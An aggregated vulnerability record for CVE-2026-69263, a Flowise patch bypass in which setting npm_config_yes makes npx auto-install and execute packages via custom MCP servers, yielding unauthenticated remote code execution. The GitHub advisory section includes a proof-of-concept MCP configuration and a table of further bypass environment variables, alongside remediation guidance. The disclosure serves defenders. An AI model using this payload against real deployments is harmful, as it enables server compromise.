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CVE-2026-69263 (GCVE-0-2026-69263)

Vulnerability from cvelistv5 – Published: 2026-08-04 16:54 – Updated: 2026-08-04 17:20

Title

Flowise: CVE-2025-8943 Patch Bypass: npm_config_yes bypasses MCP environment variable blocklist (Unauthenticated RCE)

Summary

Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.3, the mitigation for CVE-2025-8943 blocked -y and --yes flags on npx, but packages/components/nodes/tools/MCP/core.ts denied only PATH, LD_LIBRARY_PATH, DYLD_LIBRARY_PATH, and NODE_OPTIONS by exact environment-variable name. Because npm reads configuration from npm_config_* variables, setting npm_config_yes=true reproduced --yes behavior without using a blocked flag, causing npx to auto-install and execute the named package when a Custom MCP server launched. This issue is fixed in version 3.1.3.

Severity

8.7 (High)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-08-04 17:20 UTC

CWE

CWE-184 - Incomplete List of Disallowed Inputs

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 8026 records in the last 180 days details

References

4 references

URL	Tags
https://github.com/FlowiseAI/Flowise/security/adv…	x_refsource_CONFIRM
https://github.com/FlowiseAI/Flowise/pull/6471	x_refsource_MISC
https://github.com/FlowiseAI/Flowise/commit/a4c4e…	x_refsource_MISC
https://github.com/FlowiseAI/Flowise/releases/tag…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
FlowiseAI	Flowise	Affected: < 3.1.3	guessed

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FKIE_CVE-2026-69263

Vulnerability from fkie_nvd - Published: 2026-08-04 17:17 - Updated: 2026-10-24 16:10

Severity

9.8 (Critical) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary

References

URL	Tags
security-advisories@github.com	https://github.com/FlowiseAI/Flowise/commit/a4c4e4988cded15edf725e762560575b889ae351	Patch
security-advisories@github.com	https://github.com/FlowiseAI/Flowise/pull/6471	Issue Tracking, Patch
security-advisories@github.com	https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3	Patch, Release Notes
security-advisories@github.com	https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-xc48-889x-5qmw	Exploit, Vendor Advisory
134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-xc48-889x-5qmw	Exploit, Vendor Advisory

Impacted products

	Vendor	Product	Version
	flowiseai	flowise	*

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GHSA-XC48-889X-5QMW

Vulnerability from github – Published: 2026-08-04 17:09 – Updated: 2026-08-04 17:09

Summary

Flowise: CVE-2025-8943 Patch Bypass: npm_config_yes bypasses MCP environment variable blocklist (Unauthenticated RCE)

Details

Summary

The mitigation shipped for CVE-2025-8943 blocks the -y and --yes flags on npx to stop auto-installation of arbitrary packages. That flag filter works. The environment-variable check in the same patch denies only four variable names by exact string match, and npm reads its configuration directly from npm_config_* environment variables. Setting npm_config_yes=true reproduces the --yes behaviour the flag filter is meant to prevent, so npx auto-installs and executes the named package. The mitigation is fully bypassed.

This works with the MCP security check enabled (CUSTOM_MCP_SECURITY_CHECK=true). On a default Flowise deployment, which ships with no authentication, the result is unauthenticated remote code execution.

Root cause

The patch treats this as a flag-filtering problem, but the behaviour gated by --yes is also reachable through npm's environment-based configuration. The same is true for the other permitted interpreters, node and python3. A denylist of variable names cannot enumerate every environment variable that alters execution, so the control is incomplete by construction. The fix is to allowlist (or strip) the environment before it reaches the child process, not to extend the denylist.

Affected version

Flowise 3.1.1, current as of 2026-03-29.

Details

Validation happens in packages/components/nodes/tools/MCP/core.ts. Two functions run in sequence before any MCP server launches: validateCommandFlags and validateEnvironmentVariables.

validateCommandFlags is thorough. It blocks -y and --yes along with a comprehensive set of dangerous flags across npx, node, python, python3, and docker. That part of the patch is sound.

The gap is in validateEnvironmentVariables:

export const validateEnvironmentVariables = (env: Record<string, any>): void => {
    const dangerousEnvVars = ['PATH', 'LD_LIBRARY_PATH', 'DYLD_LIBRARY_PATH', 'NODE_OPTIONS']
    for (const [key, value] of Object.entries(env)) {
        if (dangerousEnvVars.includes(key)) {
            throw new Error(`Environment variable '${key}' modification is not allowed`)
        }
        if (typeof value === 'string' && value.includes('\0')) {
            throw new Error(`Environment variable '${key}' contains null byte`)
        }
    }
}

The blocklist is a hardcoded four-item array checked by exact match. Any variable not in that list passes through unchecked. npm_config_yes is npm's documented mechanism for setting the yes config via the environment. Set to true, it causes npx to auto-install without prompting, which is exactly what the -y and --yes flag blocks are intended to prevent.

Proof of concept

The following MCP server configuration bypasses the patch with CUSTOM_MCP_SECURITY_CHECK=true:

{
  "mcpServers": {
    "bypass": {
      "command": "npx",
      "args": ["malicious-package"],
      "env": {
        "npm_config_yes": "true"
      }
    }
  }
}

Execution path:

validateCommandFlags passes, because args contains no blocked flags.
validateEnvironmentVariables passes, because npm_config_yes is not in the four-item blocklist.
npx auto-installs and executes the named package with the privileges of the Flowise process.

On a default deployment with no authentication, any unauthenticated user who can reach the Flowise API can trigger this.

Additional bypass vectors (same root cause)

The following variables are also absent from the blocklist and influence execution through the other permitted interpreters:

Variable	Command	Effect
`npm_config_prefix`	`npx`	Redirects package installation to attacker-controlled path
`npm_config_userconfig`	`npx`	Loads attacker-controlled `.npmrc` configuration
`NODE_PATH`	`node`	Loads modules from attacker-controlled path
`PYTHONPATH`	`python3`	Loads modules from attacker-controlled path
`PYTHONSTARTUP`	`python3`	Executes a file on interpreter startup (interactive sessions only)

Impact

Full remote code execution with the privileges of the Flowise process. On default deployments with no authentication, no credentials are required.

Remediation

Strip the env object before passing it to the child process, or replace the name blocklist with an allowlist of explicitly permitted variables.

Adding the known dangerous variables to the blocklist (npm_config_yes, npm_config_prefix, npm_config_userconfig, NODE_PATH, PYTHONPATH, PYTHONSTARTUP) narrows the immediate gap but is a stopgap. Any future permitted interpreter reintroduces the same class of bypass.

References

CVE-2025-8943
CWE-184: Incomplete List of Disallowed Inputs

Severity

8.7 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

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